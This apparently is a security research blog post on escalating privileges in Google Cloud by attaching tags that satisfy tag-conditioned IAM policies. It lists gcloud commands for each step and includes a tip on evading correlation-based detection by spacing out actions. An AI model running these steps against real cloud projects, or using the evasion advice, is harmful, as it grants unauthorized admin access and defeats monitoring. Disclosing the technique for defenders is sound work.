Skip to content

Article by Ariel Kalman

Tag Your Way In - GCP Privilege Escalation Using Tags

GCP IAM Conditions allow fine-grained access control using context like time, resource type, and tags—but those same tags can enable unexpected privilege escalation. In this post, we show how a user with only viewer and tagUser roles can escalate to full admin access without changing any IAM policy.

Background

Conditional Access Based on Tags

In GCP, IAM policies control access by assigning roles to members on resources, optionally using conditions based on request time, IP address, or resource tags. Tags are key-value pairs that can be inherited and used in IAM Conditions, such as resource.matchTag('env', 'sandbox'), to enforce fine-grained access control.

For example, this is an IAM policy with a resource tag condition:

{
  "bindings": [
    {
      "condition": {
        "description": "Only allow access if a resource is tagged env=sandbox",
        "expression": "resource.matchTag('env', 'sandbox')",
        "title": "SandboxTagCondition"
      },
      "members": [
        "group:sandbox_users@**************"
      ],
      "role": "roles/compute.admin"
    }
}

TagBindings and Role-Based Tag Management

Tags are attached to resources using tagBindings, which link a resource to a specific tagValue.

Tag Management Roles

In GCP, tag management access is controlled using the following IAM roles:

Tip

To evade detection, an attacker could perform the tag binding and the privileged action in separate sessions or with a time gap greater than X minutes, breaking the detectable sequence used in correlation rules

How to Exploit

1. Enumerate IAM Policies

gcloud projects get-iam-policy <PROJECT_ID>
Required Role: roles/resourcemanager.projects.getIamPolicy
Impact: Discover IAM bindings and tag-based conditions

IAM Policy Output Example

2. List Available Tags

gcloud resource-manager tags keys list --parent=folders/<FOLDER_ID>
gcloud resource-manager tags values list --parent=tagKeys/<TAG_KEY_ID>
Required Role: roles/resourcemanager.tagUser
Impact: Enumerate tag keys and values.

Tags Enumeration Example

3. Bind Tags to Resource

gcloud resource-manager tags bindings create \
  --tag-value=tagValues/<TAG_VALUE_ID> \
  --parent=//cloudresourcemanager.googleapis.com/projects/<PROJECT_ID>
Required Role: roles/resourcemanager.tagUser
Impact: Attach tags to satisfy IAM conditions.

tagBinding Creation Example

4. Exploit Conditional Access

gcloud compute instances delete-access-config instance-<INSTANCE_NAME> \
  --zone=us-central1-c \
  --access-config-name="External NAT" \
  --network-interface=nic0
Required Role: roles/compute.admin
Impact: A privileged operation succeeded using elevated permissions (in this case, the removal of a public IP address from a GCE instance).

Admin Operation Example

Warning

The granted privileged role depends entirely on the IAM policy. If the policy assigns roles/compute.admin to resources with the tag, that's what the attacker gets, but it could just as easily be roles/compute.viewer or any other role.

Impact

This privilege escalation technique can lead to unauthorized access, full admin control over key services, and long-term persistence by exploiting dynamic tag-based IAM conditions. It’s a realistic risk: public Terraform modules frequently assign the tagUser role to non-admins like CI/CD accounts or integration service accounts, as seen in examples from terraform-example-foundation and cloud-foundation-fabric.

Note

For a deeper technical walkthrough, check out the full blog post or contact me for more information.